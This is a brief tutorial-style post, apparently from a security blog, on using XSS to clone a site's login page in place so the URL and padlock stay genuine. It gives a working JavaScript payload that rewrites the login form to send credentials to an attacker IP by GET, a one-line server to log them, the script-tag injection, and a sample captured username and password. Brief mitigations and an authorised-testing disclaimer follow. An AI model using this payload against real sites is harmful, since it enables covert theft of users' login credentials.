1 minute read

Why This is Dangerous

Standard phishing uses a fake domain — savvy users check the URL. This attack replaces the real page with a cloned version. The URL stays https://target.com. The padlock stays green. The victim has no signal that anything is wrong.

Step-by-Step

Step 1 — Create phishing.js:

fetch("login").then(res => res.text().then(data => {
    document.getElementsByTagName("html")[0].innerHTML = data
    document.getElementsByTagName("form")[0].action = "http://192.168.XX.XX"
    document.getElementsByTagName("form")[0].method = "get"
}))

Step 2 — Start your server (receives stolen credentials):

python3 -m http.server 80

Step 3 — Submit the injection:

<script src="http://192.168.XX.XX/phishing.js"></script>

What Happens

  1. Script fetches the real /login page HTML
  2. Replaces the entire current page DOM with it — visually identical
  3. Rewrites the form action to point to your server
  4. Rewrites method to GET so credentials appear in your server log
  5. Victim types credentials, hits submit → your server logs username + password
GET /?username=admin&password=hunter2 HTTP/1.1 Host: 192.168.XX.XX

Why method=GET?

GET puts params in the URL → they appear in your HTTP access log automatically. POST would require parsing the body. For a quick PoC, GET is simpler to capture.

Fix: Prevent XSS to prevent this entirely. Additionally: implement CSRF tokens on all forms (they won't transfer to the attacker's endpoint), use SameSite=Strict cookies, and deploy subresource integrity checks.

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →